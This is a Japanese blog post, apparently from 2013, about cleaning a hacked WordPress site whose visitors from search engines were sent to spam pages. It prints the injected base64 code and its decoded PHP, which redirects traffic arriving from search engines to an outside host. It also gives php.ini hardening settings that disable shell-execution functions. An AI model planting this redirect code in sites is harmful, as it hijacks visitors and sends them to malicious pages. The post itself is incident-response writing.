2013年4月5日金曜日

検索結果のリンク先が変になる:Wordpressとeval(base64_decode



あるクライアントから、GoogleとYahooの検索結果が変という連絡を受け、早速調べてみた。確かに、検索結果は正常なのに、リンク先は、best black jack search(http://notfound.iownyour.org/)へとなる。むむ。な〜ぜ〜。

Googleの検索がおかしいのではないかと疑りながら、Googleで調査。クライアントのPCをリカバリーすれば直ったとか出てくるが、本当の原因は、運営していたWordpress。ほとんど全てのPHPファイルに「eval(base64_decode〜」と知らないコードが!もともと、こんなコードあったように書き込まれていたので、全くスルーしてました。ここ数年、Wordpressを扱ってきたが、こういったケースは初めて。Wordpressも標的になるぐらいシェアが広まったということなのか。

何を書き込まれていたのか:base64_decodeの解読


base64と書かれていたので、不可解な下記のコードを変換してみた。

DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9tb2RqYXNnLm9jcnkuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0=

↓ 変換後


error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://modjasg.ocry.com/");
exit();
}
}
}
}
}

これっすね。間違いなく。


んで、対処法。以下を参照させてもらった。
元お笑いプログラマの技術メモ

マルウェア・スクリプトの削除


以下のスクリプトを「fixit.php」として、ドメイントップに置き、実行。

How to fix WordPress Malware Script Attack. | Lightrains Technolabs 
http://www.lightrains.com/blog/fix-wordpress-malware-script-attack

でてくるでてくる。テスト用に置いていたWordpressまでやられている模様。感染ファイル数1,000超え。ひとつひとつ消す方法もあるが、流石に今回はナシ。


マルウェアの防御


php.ini に下記を加え、保存。
allow_url_fopen = off
allow_url_include = off
disable_functions = "apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd, eval, exec, fp, fput, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, mysql_pconnect, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode,eval, base64_decode, gzinflate"


その後


書き込まれたソースを全て消したら、検索結果に即反映
Googleさん、すみませんでした。



Note:(my practice of english)

If link(permalink) that search engine result is different from actual URL, maybe malware attack php of your cms site. Particularly "Wordpress"...

deal with:

1. you must delete code written base64. ->  http://www.lightrains.com/blog/fix-wordpress-malware-script-attack
2. add php.ini 'allow_url_fopen =off', 'allow_url_include =off'.

Sorry for my bad english.